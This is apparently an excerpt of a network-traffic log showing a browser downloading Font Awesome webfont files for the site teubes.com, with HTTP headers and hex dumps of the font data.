22 2c 22 31 2e 31 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 21 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 2e 74 77 65 6d 6f 6a Data Ascii: MutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoj

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:33 UTC	626	OUT	GET /releases/v5.0.0/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: use.fontawesome.com Connection: keep-alive Origin: https://www.teubes.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://use.fontawesome.com/releases/v5.0.0/css/all.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:33 UTC	996	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:33 GMT Content-Type: font/woff2 Content-Length: 36588 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31556926 ETag: "af25b808f44b7ba222c55a1ad21c6610" Last-Modified: Fri, 22 Sep 2023 01:44:04 GMT Vary: Origin, Accept-Encoding CF-Cache-Status: HIT Age: 178644 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cug%2BVcnZWE28X9taq8p7KINwEGRYLsBKQURFn2mGjuNp%2BAFmXIN%2Fcfnb1NUW3L9PUZ1npPs39%2BRQJ%2Fe2%2F1pxQFd%2FiB2SVY1yA3amoviVZKSZqBjYkyAwKseqKjv9Cw2%2Bzudgsny8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921c578e6fad7295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1849&min_rtt=1789&rtt_var=791&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1198&delivery_rate=1285777&cwnd=206&unsent_bytes=0&cid=ca03608165d97743&ts=147&x=0"
2025-03-17 12:02:33 UTC	373	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 8e ec 00 0b 00 00 00 01 79 94 00 00 8e 9b 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 54 06 56 00 bc 7a 0a 84 e9 60 83 ef 35 01 36 02 24 03 8e 30 0b 87 1a 00 04 20 05 85 7a 07 ad 09 5b 05 38 71 82 cd a9 d5 0e 5c 6f 56 95 0c 49 86 3f de 48 44 b0 71 00 21 70 98 9e 1d a8 61 e3 00 20 f8 1e 9f fd ff ff 3b 8e c5 18 f3 fe e1 fe 01 04 53 73 ea aa 6c 6b db 40 cd dc 92 cc c9 8b e2 a0 30 51 31 38 b2 70 78 52 cc 6b c3 60 bd a0 2a 26 46 a4 9a e1 e6 28 a0 2c 17 65 42 31 24 e4 84 39 63 b9 8e 6b fb 20 7a ee 5b 5a f7 54 d0 f6 8b 81 6c 20 8e ac 14 10 14 fc c4 da 7b be e1 8e 84 47 16 8e 82 a7 0b 87 e3 94 86 7e 7f 18 5e 73 d8 e4 da 46 ad 7d a9 8c 40 95 e1 75 54 5b 7c 9c d1 bf 53 d0 a2 30 80 b1 df ca 4b 10 2f 2a d4 Data Ascii: wOF2yTVz`56$0 z[8q\oVI?HDq!pa ;Sslk@0Q18pxRk`&F(,eB1$9ck z[ZTl {G~^sF}@uT[\|S0K/
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 80 0f 4f a7 be 9f 52 ba 54 f2 e4 cb 20 a6 90 2f 83 d8 d9 5d a7 21 5e 37 ff 20 79 21 79 19 9b 84 24 90 e4 85 90 30 13 92 b0 64 64 02 61 87 11 86 83 20 e3 85 a1 c2 0e ce 80 03 e2 04 37 8e 16 9c e0 aa 5a 17 16 db e0 68 d5 af 16 dd 5d 29 76 38 ba d4 16 2b b6 f6 9b 8e 0f 18 29 48 ff c4 c5 f6 f5 6f 3c 84 f8 80 02 49 9a 89 33 88 52 89 a8 88 2f 80 00 ff b1 a9 35 bb 2b 63 9e c2 87 67 59 c8 44 74 1b a7 90 c4 29 b5 9e e6 34 e7 b9 5d d6 a4 39 fb 15 d2 cf e8 39 5f 4a 06 84 c9 80 f0 e0 9f e7 be 76 ef 9b 75 69 a7 6c b7 0c 46 38 92 08 12 9b 02 c9 02 0e ff 09 e4 51 05 07 bb 59 87 54 42 c8 ca a9 b0 6f f8 79 80 ff 09 88 05 30 bc 4e eb 93 fe f1 7b ff b3 c0 10 58 b0 63 08 0d 84 06 68 09 03 82 81 06 bc 3b 29 0f a8 95 5a a9 7d 20 70 b2 24 0b 03 03 4e e2 80 ed 61 30 14 cd 15 ed Data Ascii: ORT /]!^7 y!y$0dda 7Zh])v8+)Ho<I3R/5+cgYDt)4]99_JvuilF8QYTBoy0N{Xch;)Z} p$Na0
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 27 92 ec b3 6d 87 c3 2a 82 a6 b0 5a 5d 70 a4 c3 76 d3 cd 28 36 76 3b 8d 4f eb 85 cd aa e4 c9 57 20 37 94 da 6b 5d f1 71 94 da e9 ba f7 4e 3a e4 a0 5d 55 fa 33 5a 1d c6 4c d3 ca a8 dc 39 67 8d 39 47 61 de 9a 6f f1 d9 f7 ae df ed 53 1b ab 2e 9c 61 ae f3 91 ec bc 73 2e 38 4b 05 0f 1f d7 95 67 d7 e9 46 d1 3d e4 bb 59 06 ac b6 ac 61 e4 59 cc fc 63 ea e2 2d 57 64 79 89 94 20 4a b4 11 66 41 4d cd ab d1 8e 47 4d 70 5b dd e1 72 df c8 3b 73 72 30 d7 3d c2 44 0a 75 ec 9c ec 44 1c 12 90 84 18 a4 c9 90 25 85 75 3e 5c 35 20 7d 86 5a 94 86 1a 4d 33 ee 9d be 6b cd 29 dd 6f 2c 37 bb e3 75 5e db b7 fb 52 3b 27 c7 8a 29 54 cf 2c 39 72 e5 c9 26 4a 3a f9 da 62 eb ec d4 f9 cb 2c a2 12 4b c4 88 17 67 d7 19 d6 cf eb c6 f0 ae eb 54 bf b6 ba ea 6b 68 7e 0b da 7e 9b da 58 42 e7 93 Data Ascii: 'm*Z]pv(6v;OW 7k]qN:]U3ZL9g9GaoS.as.8KgF=YaYc-Wdy JfAMGMp[r;sr0=DuD%u>\5 }ZM3k)o,7u^R;')T,9r&J:b,KgTkh~~XB
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 7e ba 8a d0 74 35 51 a3 6b 60 66 ba 16 d6 a6 db 60 3b ba 1d 2e a2 3b c8 31 ba 0b fe 01 dd 43 66 d0 7d a3 a5 83 44 da e9 21 78 8b b6 c0 af b4 15 ee a0 6d b0 0e 6d 87 43 68 27 31 a3 dd 70 0e ed 81 73 e9 20 f1 a5 43 b0 25 1d 26 eb e9 08 a9 a3 0c 9c 4f 79 f0 20 3d 0a 8f d0 63 70 3f 3d 0e 0f d1 13 f0 00 3d 09 f7 d0 53 70 2f 3d 0d 0f d3 33 70 1f bd 00 03 7a 11 0e a5 b7 89 01 bd 0b 5f d0 fb f0 09 7d 40 8c e8 43 92 47 27 49 3c 7d 4c e2 e8 13 58 8d 3e 85 97 e8 33 d2 48 9f c3 8a f4 05 71 a0 6f 88 36 7d 4b 8e d3 77 b0 01 fd 01 cb d1 29 52 4b 7f c1 19 74 1a 16 a5 bf e1 66 fa 87 e8 d3 bf b0 12 fd 07 70 f0 04 02 9c 43 04 ce 20 7e 3c 04 09 e0 61 48 10 56 21 21 d8 82 44 e1 12 12 c3 24 48 69 7c 4e 99 e0 10 52 c5 14 48 0d fb 21 f5 e3 4d 03 17 41 9a f0 01 d2 c1 71 48 17 25 Data Ascii: ~t5Qk`f`;.;1Cf}D!xmmCh'1ps C%&Oy =cp?==Sp/=3pz_}@CG'I<}LX>3Hqo6}Kw)RKtfpC ~<aHV!!D$Hi\|NRH!MAqH%
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: dd 15 38 a1 1f 40 2b f4 89 c2 eb e8 40 b8 83 df ad 83 01 e6 28 fd 67 e2 5c e5 90 ae 63 a7 34 27 e7 28 39 b2 2e 3b 9d 65 b5 0d ad 03 92 c2 98 84 31 6d 95 32 14 08 62 b6 ed 38 b5 ed ba 44 49 58 84 d2 1d 6b 4b bf 8a eb 35 ae 28 e0 af 3a b4 45 53 23 3b 38 80 87 15 bb b8 69 ea e6 28 94 ba b6 cd 6c b6 20 b7 41 b8 09 95 fc 6e 78 61 60 58 4a 37 08 f9 09 40 dd e9 bc 6e 9a b2 cc 86 57 43 1b 02 7d f7 9e 66 67 05 87 67 68 b2 9d 68 2d 6b b8 fe 77 07 a3 a6 5a fb bf a2 ff 5a 0c bd 90 12 8b db e5 c8 a1 b6 78 8b 67 d7 5d 0a 47 55 51 dc 15 b0 26 aa 75 d6 f5 f6 51 41 a2 f6 da 7f 44 be 7c eb eb bc d2 e3 20 e1 c2 e3 51 3e 09 5f 80 24 26 93 03 0d a4 5c 14 1a 83 87 76 d8 0c c9 18 8c be 37 11 47 8d 2f 54 49 e9 3a 6f 29 32 12 7f 52 10 7f 70 06 cf 72 3d c0 f3 f0 0c 0e 56 e5 2d 0f Data Ascii: 8@+@(g\c4'(9.;e1m2b8DIXkK5(:ES#;8i(l Anxa`XJ7@nWC}fgghh-kwZZxg]GUQ&uQAD\| Q>_$&\v7G/TI:o)2Rpr=V-
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 51 8a 06 40 5c 1e e4 98 82 bc 27 6b 4b 0b f7 05 5b 86 2f db 0a d5 46 72 16 92 6c 4b 9b 4a de dd 22 9c 57 54 53 56 0a c9 82 a5 e3 6d 56 17 f3 e5 1c f2 d4 7f 10 87 44 1a a0 9c 3c 2b 22 2c 3f 71 7b 31 e1 b6 5e 78 66 d0 4e 63 3e 4a 2d 60 db 77 04 27 b3 ca 6a ef b3 91 b2 1a e7 13 26 7c bd ef e0 81 cc 8a c2 dd 77 7b 92 e9 1d bf 17 16 dc b2 9c 42 fa 81 38 48 5a e0 42 63 af fb c0 9e 5f 87 37 1f c2 fb 59 d0 14 d5 74 78 9d 3d 57 b3 5f 77 74 fb b9 8e d3 40 e2 38 1b 96 ce 4b c8 96 bc aa 61 69 c3 f1 49 28 fb ad d3 9b 32 c6 9b db 4e 95 42 c8 9b e9 af c4 89 bc 74 22 d3 0e 95 67 3a 89 44 d3 4e 2c 85 f6 ad a5 aa 88 ad 53 e2 e4 66 69 8a 71 0c 81 3a e4 4c 38 19 a7 66 83 c0 31 ab 4d 20 5f cf 35 00 15 3c d9 17 a0 26 92 91 e1 fb 60 8f 18 04 74 91 4e ce 35 11 17 3c c9 80 2b 8d Data Ascii: Q@\'kK[/FrlKJ"WTSVmVD<+",?q{1^xfNc>J-`w'j&\|w{B8HZBc_7Ytx=W_wt@8KaiI(2NBt"g:DN,Sfiq:L8f1M _5<&`tN5<+
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: de 04 d2 6b c2 cc b6 35 26 81 9d 92 6e ac d0 60 95 16 e0 4e 61 67 34 19 0e 36 9b 8e 01 1b b9 5f ff 01 17 44 b7 b2 aa e4 57 42 e8 12 a5 f8 25 c6 70 1e a1 e8 2b 4a ba ea 14 aa 4e 2b 9b 44 af 2a f3 9e 44 b8 9d 62 74 31 f8 4c cb 4a 69 c4 76 51 8c 90 fc 26 68 3f 5f f0 82 70 f2 8f 26 10 67 5f ce 75 7b 07 50 e5 13 8c e1 fa 49 84 d4 f1 70 8a 11 04 f7 07 09 e1 78 a2 3c 87 88 6a 1d 21 94 4e ac 0e 1f 27 84 6e 9d a1 14 8f 25 bb 69 95 94 1e 0d 60 cc e0 78 e9 04 c5 d8 3c 8c 11 cc ad 80 93 84 27 27 87 9e 1b 82 85 d8 8d 89 44 00 06 e1 6b b2 94 4a ee 8a 02 a1 44 0b b3 25 78 ca 8b 94 62 8d c7 18 38 0c 9e c8 ab 53 0f 19 2d 8e c7 08 50 6e ad f5 05 74 a4 b6 73 a2 e2 d7 0f f4 27 d8 06 eb e4 d5 e0 2d 87 b9 da 6d ac cf c8 3b ca 30 1c bb 81 9d bd 27 9c ec e4 19 dc 49 1a 60 3e 29 Data Ascii: k5&n`Nag46_DWB%p+JN+D*Dbt1LJivQ&h?_p&g_u{PIpx<j!N'n%i`x<''DkJD%xb8S-Pnts'-m;0'I`>)
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 2e 86 77 7a bb d9 55 13 a4 4e 1f 34 f6 15 c5 ac 3a 82 ea ee 18 23 6d 0d f9 7b 76 77 d7 cd 82 94 e8 1b 04 66 2f e2 72 8a 4c 43 b9 7b 2c 5d a6 a9 06 27 31 14 6f af 56 1e 21 84 27 9d 62 1e 63 56 0a b2 3f 78 de 33 a7 f3 9c 35 6f 29 e3 a7 98 a0 a0 d4 58 ca 12 51 b3 0a 95 ec bc cd e3 b4 3a 9f 3c 86 06 d1 b6 1c 61 13 f0 2b 3c 82 7e 2c 48 74 e9 da 13 d5 94 18 14 7c 49 28 e9 f5 b8 50 e5 8c e3 1b 00 82 cd 9e 21 d1 e5 87 4b 20 fe 00 50 da 4e 5f 2f b2 1e 17 f2 18 4b 4f 9e 13 77 0a 78 ab e8 ef 29 2e 50 23 75 89 22 39 f8 de 44 d5 b4 d3 1d 41 b8 3e 5f cb 38 ca 9c 37 03 6e 7e 51 f3 24 f2 14 45 48 c8 60 71 fa 0e 61 06 ff 75 cd ab cb 9a b3 e3 94 50 b1 dd d5 d0 aa 20 00 6d 91 bc 88 43 30 7b 9e a6 ea 38 7d ba 97 62 37 81 d5 b3 ae aa b4 c5 64 5d ea ac 3a 17 07 28 9c 2c 98 05 Data Ascii: .wzUN4:#m{vwf/rLC{,]'1oV!'bcV?x35o)XQ:<a+<~,Ht\|I(P!K PN_/KOwx).P#u"9DA>_87n~Q$EH`qauP mC0{8}b7d]:(,
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 12 34 26 bb 44 ea a8 e3 27 7b 44 d5 0e 7c 57 a7 cf 01 9d a5 f4 85 13 d5 68 c3 ea 97 10 c2 f8 f0 2f 50 83 d3 45 12 08 76 7e fa d4 05 67 ef 86 8d 8e a4 77 c6 39 f3 88 d9 63 68 0b e9 e1 4a e3 68 2c cc a3 ff 36 08 96 79 6f 8f 94 ee c8 63 c7 9c db bf 43 0a ed 8d 3e 23 69 b4 fe 07 96 ce 79 50 8c 87 29 ae b1 3a 3e cc ec 87 01 6b 58 96 0a ef 46 da bf b2 8b ff ea c5 2e cd 87 59 ae 5e 8c 67 7c f0 7e f8 ce 7c 4d 6f 4a ff c6 de 23 12 88 a6 6b 67 03 6f 2b cd 72 2e cc 18 d0 d5 83 b5 06 74 68 48 7f af 6a 24 34 36 72 28 bc dc 66 b1 b3 04 31 ba 57 b7 e8 38 ea 1e f4 36 5f f4 8c 95 1c ba 5a 93 31 28 05 e7 35 a4 8e f8 83 42 b5 02 e3 2b 32 a6 32 8a 3a 58 88 65 32 69 52 ff 5d 88 88 d8 04 83 55 fd 9f c8 d5 23 33 a1 89 17 e0 87 d1 8c 21 be fa f2 1a bd 0d 8e 00 9f 8b 67 47 07 a3 Data Ascii: 4&D'{D\|Wh/PEv~gw9chJh,6yocC>#iyP):>kXF.Y^g\|~\|MoJ#kgo+r.thHj$46r(f1W86_Z1(5B+22:Xe2iR]U#3!gG
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: c4 37 f3 fa af f1 eb 6d 65 b9 4f ef 3a 6e 77 3a be a5 c6 c2 0a 49 2f cf a8 16 d9 94 06 28 ba 86 1d 35 05 2a 0d a4 53 c7 5e d8 56 10 15 28 62 ce d4 36 b7 ce 77 da 12 90 08 bc 9d e8 dd 58 fc ff de 6d ef 94 71 c0 38 27 69 ca 65 e4 7d b9 e5 66 bf 8b 12 b8 3f fa 14 41 fb 6d e6 77 78 9a 47 ec 19 b9 8f c8 db 54 ee e4 04 cf d0 f1 0a 70 fc 65 e0 a3 d6 d3 29 3f 57 7f de 81 40 87 2d cd a0 6a b5 5f f6 62 8f 74 5e 5f ff de 63 2f 41 03 96 6a df 49 b7 0e 3c 55 18 c1 17 88 58 61 22 57 e7 c1 3f 62 2b 2c 43 16 cb 3c a3 70 b8 a4 1e c0 9a f9 03 76 87 10 e8 2b ec 0b f4 55 0b dc 24 d9 bf d5 76 e0 b9 fd 99 34 6f 4d 33 79 43 0c 82 ac 77 87 91 cc 8e 2b ca d3 f3 32 36 08 50 d0 81 06 50 a8 b4 48 8c 56 80 a0 8c de 88 ea d1 af 26 66 09 a4 bb d2 a2 a2 8e 60 a7 67 1d a6 97 73 a8 04 35 Data Ascii: 7meO:nw:I/(5*S^V(b6wXmq8'ie}f?AmwxGTpe)?W@-j_bt^_c/AjI<UXa"W?b+,C<pv+U$v4oM3yCw+26PPHV&f`gs5

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:33 UTC	627	OUT	GET /releases/v5.0.0/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: use.fontawesome.com Connection: keep-alive Origin: https://www.teubes.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://use.fontawesome.com/releases/v5.0.0/css/all.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:33 UTC	984	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:33 GMT Content-Type: font/woff2 Content-Length: 52648 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31556926 ETag: "657e828fb3a5963706e24cbf9d711bb8" Last-Modified: Fri, 22 Sep 2023 01:44:04 GMT Vary: Origin, Accept-Encoding CF-Cache-Status: HIT Age: 178644 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4iATKSXwBTTye8GPJ3Q8H0jQhkTQDrEMGCeC3D0KOVBLCOe5hjA%2Fecq2hHb0zsQzXPTY26Pr20pukJHNuU8FlTJQuA3eKQlk1jUx15YRw5G2FarGiY0W8atysrouwsxm4%2FQyCKQs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921c578e69de43e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2301&min_rtt=2112&rtt_var=1170&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1199&delivery_rate=805073&cwnd=252&unsent_bytes=0&cid=bbf20a75be0308cf&ts=150&x=0"
2025-03-17 12:02:33 UTC	385	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 cd a8 00 0b 00 00 00 01 72 cc 00 00 cd 56 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 54 06 56 00 aa 66 0a 85 84 68 83 ed 58 01 36 02 24 03 89 7c 0b 85 00 00 04 20 05 86 2a 07 9c 6d 5b f4 23 71 42 d9 b6 ab 01 a9 1b 03 88 2a bd f3 df 76 89 bf d9 11 db ed 40 28 42 f5 94 99 d1 18 e3 00 80 fd 0a cb fe ff ff e4 a4 31 c6 da 0d dd 10 05 54 2b eb bf f2 1f 82 f3 64 e4 32 4f 61 41 66 82 6a eb 98 0b 0a 13 b4 62 c3 3e 1d f9 b6 ac c7 dd 98 d1 c2 06 3f 32 7c 2f 46 87 9b 83 50 52 2a 4a 34 5b 20 26 88 a9 62 11 99 9d da 45 ad e4 c3 a6 a7 12 a6 fe cc 2f e8 e7 b5 13 71 f1 ae c1 34 60 4d 2a 44 bc 63 1e f8 f7 2d 7c a2 61 ad 71 cf 90 62 86 a4 68 d2 06 6d a9 f5 34 0c 09 0a 8a 12 a4 a0 20 09 12 4e 1b 8a 9b 3f 42 0e df Data Ascii: wOF2rVTVfhX6$\| m[#qBv@(B1T+d2OaAfjb>?2\|/FPRJ4[ &bE/q4`MDc-\|aqbhm4 N?B
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 9a b2 b0 87 e7 d7 e6 fb 51 d7 ff 8a a3 2f 89 bc e0 38 40 90 2b 4a c2 a3 42 2a c4 80 b6 49 05 4c c2 c0 98 82 15 9b 85 85 4e c4 c8 d9 73 6e ea 8c 9e 6e c6 e6 d4 85 f2 0f b2 a3 f7 cd 98 d1 a5 a0 ca a4 26 08 35 df ba 72 43 30 b7 6e 63 2c d8 58 15 1b ab 22 d6 30 72 09 0c 18 8c 1a b4 44 a4 05 22 2a 46 e1 8b 36 0a 8a fd 06 be 85 81 d1 bc 62 e4 1b 91 5f 16 88 ba 1d 8d 71 24 c4 63 b4 5b db 79 16 e7 ac 92 11 aa db 01 dd d9 a3 2f a4 30 ca 0a 23 0b dd 24 2c eb 86 3f 15 b3 50 99 f0 8a a6 f9 fb 5f 9b 96 d4 4a ad c3 26 9a b1 e3 a0 29 c0 63 5e 16 64 6f c9 c9 e4 9e ab 3b 7e bd dd ce b4 f7 ae 5e a8 88 e0 4b ca 00 80 ff 9f 7f ef f5 dc 9a 13 90 37 f9 5b 2e 80 9b 42 4e cd d4 49 05 6f cb 9b 38 b0 dd de 91 08 80 7b a7 f5 fe fb 1a 4b 1a 49 23 8f e4 b2 f6 b6 7e 77 de 5f 5b 65 a9 Data Ascii: Q/8@+JBILNsnn&5rC0nc,X"0rD"F6b_q$c[y/0#$,?P_J&)c^do;~^K7[.BNIo8{KI#~w_[e
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 10 ab 31 e5 3a 0c 68 b3 e5 df 5b 78 82 17 b8 ca 27 6f d7 0b f2 d8 a8 2c 31 aa 74 db a3 3b da 7d 23 a6 e4 e7 3b 9d 45 e7 96 9a 3a 21 5a 8f a7 90 6f d3 a3 14 b1 ee d9 c8 d1 53 43 7e a8 14 db eb 3d aa 35 67 cc e8 3a 7e ff 39 fe c0 27 7c c1 a5 fc c2 c2 39 64 c5 be 27 93 62 cb 70 cc 82 75 cf 7e 8f d1 e1 a6 65 81 82 84 08 15 26 42 b4 38 b1 e2 25 49 96 2a 5d b6 5c 79 0a 14 29 54 a6 51 b3 16 ad ba f4 e8 d3 2f 5e 82 64 29 52 a5 49 97 21 53 b6 3c f9 4a 94 ab 50 ab 49 8b 4e 43 c6 4d 9a 30 65 da 0c 05 25 15 0d 1d 23 3b 1b 07 27 0f 37 9f 00 bf a0 98 74 20 d7 9e 57 54 56 51 cb 6f 6a eb 92 ec 38 71 de 05 97 fc e0 b2 1f fd e4 f6 15 cb 23 4f 3c f5 cc 73 bf 79 ed 8d f7 f0 16 50 d2 c0 c6 e6 d6 b6 f6 e8 31 62 c6 8a 1d 2f ac 9d 21 49 91 6f ca 74 05 17 24 41 a5 55 a7 3a 8e dd Data Ascii: 1:h[x'o,1t;}#;E:!ZoSC~=5g:~9'\|9d'bpu~e&B8%I*]\y)TQ/^d)RI!S<JPINCM0e%#;'7t WTVQoj8q#O<syP1b/!Iot$AU:
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 0c 68 97 c0 81 54 94 c6 81 69 28 83 03 8b 50 16 07 85 20 0b b4 fc 4f ff 1f 41 7d 00 80 f7 61 17 27 1d 99 f1 fe 3a 43 ec 51 94 bd 79 34 50 f0 0f bf 13 2e c6 49 49 44 6a a2 06 1e 4d c1 b0 67 2a d8 bc 79 77 e0 f5 e0 27 9c 4c f8 f3 08 3d 26 2e b9 3a 98 a3 a1 00 29 ae 03 8c 91 45 6a fe dc e7 1b 51 13 e4 30 1f 46 20 df f1 a4 79 e4 74 85 1a e6 43 c5 1b 26 55 57 ba 6c c0 34 cc 07 b1 ca 14 60 28 d0 db 8b 9a 1a 48 30 66 60 b5 7c e5 cd 1b 66 60 13 c7 0d 9b d4 4b cf 9a 87 dc c3 fc 2c 6e 0c e9 18 96 5c b5 95 02 fd f4 1c 19 f3 8a 2c 02 59 24 a7 b2 a1 4e 5d 98 2e d4 0c f2 58 37 b5 fc 39 9c 1c 7f c6 ea c2 9d 87 27 8f 47 55 29 cb 1c a9 9b 69 1b 4e 00 c7 85 aa fc 93 68 0a 26 d9 6b 93 00 36 53 85 50 cb e0 91 51 52 ca d7 32 a3 f9 70 5e 0e 37 31 14 ad 28 48 f1 9e 38 f2 19 05 Data Ascii: hTi(P OA}a':CQy4P.IIDjMg*yw'L=&.:)EjQ0F ytC&UWl4`(H0f`\|f`K,n\,Y$N].X79'GU)iNh&k6SPQR2p^71(H8
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: f7 36 df 6b 56 a9 e2 d6 c0 34 ff a2 96 dc f1 ca 24 9b 8b 9e 34 a4 2a e1 ee ff 47 06 24 bf 6a 88 b4 aa c5 2f c0 0c 9d 94 81 27 56 07 1a 3c 0f 33 a5 bc 18 81 a7 f5 c0 18 5f 29 e6 0a 5f e1 4b c3 89 90 a3 4e 21 69 33 6a 3c e7 d5 79 4a 7b 39 c2 49 12 f1 a8 1d c2 f3 66 51 37 71 46 c3 8b 3c e1 98 df 14 26 b1 e6 28 5d 5b e9 75 9f 65 ca 2d 60 c8 b6 fd 9c 54 c7 f4 50 69 cd 55 44 33 c9 ad 23 05 51 4b 90 4a 99 9e ff 60 d7 87 6e 9d 66 68 fb d5 ba 08 b4 76 1c 3f 8a a3 bd 9b d6 dd d3 59 f7 06 4f 66 fd f3 e1 b2 18 7b 25 a8 56 a7 58 22 92 fd 68 f9 e9 ab 0b 89 8c c3 d7 8f e7 4f 8f dc df 00 74 fc ce 68 6b 77 4c 3d 35 98 5b e1 d3 fe 77 ff a7 f9 31 f3 45 58 76 42 fa ee 0e c7 e8 58 d8 4f 07 7d 9f 7e 50 72 10 54 28 13 11 e2 e7 e4 7d ea 78 ca 6b 75 75 c6 99 ac 01 33 a9 b8 91 49 Data Ascii: 6kV4$4*G$j/'V<3_)_KN!i3j<yJ{9IfQ7qF<&(][ue-`TPiUD3#QKJ`nfhv?YOf{%VX"hOthkwL=5[w1EXvBXO}~PrT(}xkuu3I
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 6b 39 89 62 7d d6 59 39 14 a6 52 39 df 5d 3f 90 56 16 a1 ac 19 43 b0 02 96 9d 59 c1 07 5b ff fc 82 98 5b d5 56 d7 bc 55 b6 a5 b1 15 24 90 df 46 d9 93 00 8e 54 2d a6 d2 e8 48 d1 23 f3 61 80 e7 fc 90 36 63 3f 50 48 e2 07 1e 6b ec 25 da af a2 e0 20 dd 8f ef 53 cf c9 6e 15 39 c0 89 f6 5d b2 51 93 68 0c da 16 e6 41 e5 15 db 82 42 88 69 55 6e 5f fd e2 1e d1 6f cf 90 63 ea 48 96 b7 89 0e 70 ba f1 70 cd 54 75 c0 5a ee 39 9f c5 4e 4e 22 78 64 49 8d 90 81 c7 7e 45 33 ba 85 89 e8 d4 9d 13 44 c7 f0 16 41 8e e8 3a e4 e8 b2 da ad f8 61 60 8e 95 f8 49 3a de 02 71 66 16 79 27 26 47 61 7b 9f 0d 71 24 03 f6 a2 61 da 20 7c 6f e8 d3 51 f7 c4 04 e3 ed fa 95 bd b4 51 bd 1f c7 b9 c1 7c c5 28 34 1e c5 8e 7a 0b 6c dd 9f 3a 8f 96 31 cf c5 de 04 96 a0 d3 f8 18 75 43 3c d3 3a c1 aa Data Ascii: k9b}Y9R9]?VCY[[VU$FT-H#a6c?PHk% Sn9]QhABiUn_ocHppTuZ9NN"xdI~E3DA:a`I:qfy'&Ga{q$a \|oQQ\|(4zl:1uC<:
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 94 08 f1 7e 61 8e 16 6e 74 2f 74 d1 71 ec 6a 8d 1a be 16 ef ff f0 e4 dc 83 ef 1f 6f 1f ee ff 8b 96 b7 a7 ed e7 ce 23 35 f3 80 1f ac fd 06 f7 d6 5e dc ab 3c 6b ed 8c f8 23 23 dd 9f a6 d4 ef fc 99 bb 5f 06 82 0b a1 83 1f de 37 d7 fe 60 9c b7 0f 0e 50 11 4a d7 65 91 66 2b c7 fb 7c d2 d3 69 a6 08 9e 5e bf 47 5d 9c a6 5e ef de 22 3c 56 41 ed 7f 74 cc 5c ba 6e 90 e1 f1 f6 01 5c ff a9 f7 63 00 50 79 45 f4 ad 7e e1 7d eb 3f 72 17 7b 9c 3d 98 3e 95 37 c7 f5 d6 18 60 d6 8a 73 d9 d7 8f 4b 78 33 6e 65 dd e9 14 9a 33 32 77 22 20 83 c6 8a 4c ec 7d f8 de 3b af 85 9d 95 f2 e0 73 9b 1a 0d 31 cd 52 d4 9f 7f e3 f3 f7 cc 98 b9 58 aa 57 b8 62 db f8 f3 d8 42 a1 62 38 83 c3 2b 33 f1 fe 77 e9 b2 12 77 17 b9 48 8d ca df f3 91 ee 6a 53 04 15 e4 27 06 95 76 dc 9a d9 c5 da b8 83 e0 Data Ascii: 